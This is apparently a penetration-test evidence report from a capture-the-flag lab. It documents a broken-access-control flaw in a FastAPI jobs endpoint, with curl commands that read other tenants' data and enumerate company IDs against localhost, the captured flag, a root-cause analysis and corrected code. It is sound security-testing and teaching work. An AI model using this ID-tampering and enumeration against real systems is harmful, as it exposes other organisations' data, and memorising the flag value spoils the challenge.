# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Complete Authorization Bypass with Multi-Tenant Data Isolation Failure

**Summary:**
- **Vulnerable location:** `GET /company/{company_id}/jobs` endpoint (main.py:109-112)
- **Overview:** The application implements JWT-based authentication infrastructure but completely fails to enforce it on protected endpoints. The `/company/{company_id}/jobs` endpoint accepts user-supplied `company_id` path parameters without validating JWT tokens or checking authorization, enabling both horizontal privilege escalation (accessing other companies' data) and vertical privilege escalation (accessing admin-only secrets including the CTF flag).
- **Impact:** 
  - **CTF Flag Captured:** `FLAG{ef9d74447312d7c3d6273f6be7d69abe30b4c8e42bd9ca9002086be3f038d3b0}`
  - Complete multi-tenant data breach - any user can access any company's job listings
  - Unauthenticated access to admin-only resources containing sensitive secrets
  - Horizontal privilege escalation between companies at the same privilege level
  - Vertical privilege escalation from unauthenticated/regular user to admin content
- **Severity:** Critical (CVSS 9.8)

**Prerequisites:** None - vulnerability is exploitable without any authentication or special setup.

**Exploitation Steps:**

**Method 1: Unauthenticated Access to Admin Flag (Simplest Attack)**

1. Access the admin company's jobs endpoint directly without any authentication:
   ```bash
   curl http://localhost:8000/company/2/jobs
   ```

2. The server responds with HTTP 200 and returns all jobs for company 2, including the secret job:
   ```html
   <li class="list-group-item">
       <p>secret:FLAG{ef9d74447312d7c3d6273f6be7d69abe30b4c8e42bd9ca9002086be3f038d3b0}</p>
   </li>
   ```

**Method 2: Horizontal Privilege Escalation (Authenticated User Accessing Other Companies)**

1. Authenticate as a regular user (demo account):
   ```bash
   curl -c /tmp/demo_cookies.txt -X POST http://localhost:8000/token \
     -d "username=demo&password=demo" -L
   ```

2. The server sets an `access_token` cookie and redirects to `/company/1/jobs` (demo's company).

3. Verify access to own company (expected behavior):
   ```bash
   curl -b /tmp/demo_cookies.txt http://localhost:8000/company/1/jobs
   ```
   Response: Jobs for Company 1 (demo user's own jobs)

4. Exploit horizontal privilege escalation - access admin company's data by changing company_id:
   ```bash
   curl -b /tmp/demo_cookies.txt http://localhost:8000/company/2/jobs
   ```
   Response: Jobs for Company 2 including the secret job with FLAG

5. Access company 3's data:
   ```bash
   curl -b /tmp/demo_cookies.txt http://localhost:8000/company/3/jobs
   ```
   Response: Jobs for Company 3

**Method 3: Unrestricted Company Enumeration**

1. Enumerate all companies by iterating through company_id values:
   ```bash
   curl http://localhost:8000/company/1/jobs  # Company 1 exists
   curl http://localhost:8000/company/2/jobs  # Company 2 exists (admin with FLAG)
   curl http://localhost:8000/company/3/jobs  # Company 3 exists
   curl http://localhost:8000/company/4/jobs  # Returns valid page (no jobs)
   curl http://localhost:8000/company/999/jobs # Returns valid page (no jobs)
   ```

2. All requests return HTTP 200, allowing enumeration of existing companies and their data.

**Proof of Impact:**

**1. Flag Capture (CTF Victory Condition):**
- **Flag Value:** `FLAG{ef9d74447312d7c3d6273f6be7d69abe30b4c8e42bd9ca9002086be3f038d3b0}`
- **Location:** Admin company (company_id=2), job title "secret"
- **Access Method:** Direct unauthenticated HTTP GET request to `/company/2/jobs`
- **Evidence:** Successfully extracted flag from admin-only resource without any credentials

**2. Complete Authentication Bypass:**
- No authentication required to access protected endpoint
- OAuth2PasswordBearer scheme declared (main.py:24) but never enforced
- JWT tokens generated during login but never validated on subsequent requests

**3. Multi-Tenant Data Isolation Failure:**
- Company 1 (demo) can access Company 2 (admin) and Company 3 data
- No ownership validation between authenticated user's company_id and requested company_id
- Complete tenant isolation bypass enabling access to all companies' data

**4. Vertical Privilege Escalation:**
- Regular users and unauthenticated attackers can access admin-only content
- `is_admin` flag exists in database but never enforced in authorization checks
- Admin company's secret job (containing FLAG) accessible to all

**Notes:**

**Root Cause Analysis:**
The vulnerability exists because the application declares authentication infrastructure but fails to enforce it:
- OAuth2PasswordBearer scheme defined at main.py:24 but has zero usages
- Protected endpoint lacks `Depends(oauth2_scheme)` dependency injection
- No JWT token validation (`jwt.decode` has 0 occurrences in codebase)
- No authorization middleware to check ownership or roles
- `is_admin` flag exists but never checked in authorization logic

**Technical Details:**
```python
# main.py:109-112 - Vulnerable endpoint
@app.get("/company/{company_id}/jobs", response_class=HTMLResponse)
async def show_jobs(request: Request, company_id: int, db: Session = Depends(get_db)):
    jobs = crud.get_jobs(db, company_id=company_id)  # No validation
    return templates.TemplateResponse("jobs.html", {"request": request, "jobs": jobs, "company_id": company_id})
```

**What Should Exist:**
```python
# Proper implementation would require:
@app.get("/company/{company_id}/jobs", response_class=HTMLResponse)
async def show_jobs(
    request: Request, 
    company_id: int, 
    current_company: Company = Depends(get_current_company),  # Validate JWT token
    db: Session = Depends(get_db)
):
    # Authorization check
    if current_company.id != company_id and not current_company.is_admin:
        raise HTTPException(status_code=403, detail="Access denied")
    
    jobs = crud.get_jobs(db, company_id=company_id)
    return templates.TemplateResponse("jobs.html", {"request": request, "jobs": jobs, "company_id": company_id})
```

**Affected Data:**
- All job listings for all companies (complete horizontal data breach)
- Admin company's "secret" job containing CTF flag (vertical escalation to sensitive data)
- Company metadata (company IDs, job counts) via enumeration

**Compliance Impact:**
- GDPR Article 32 violation (failure to ensure confidentiality and integrity)
- SOC 2 CC6.1 violation (logical access controls not implemented)
- OWASP Top 10 2021: A01:2021 - Broken Access Control (rank #1 most critical)
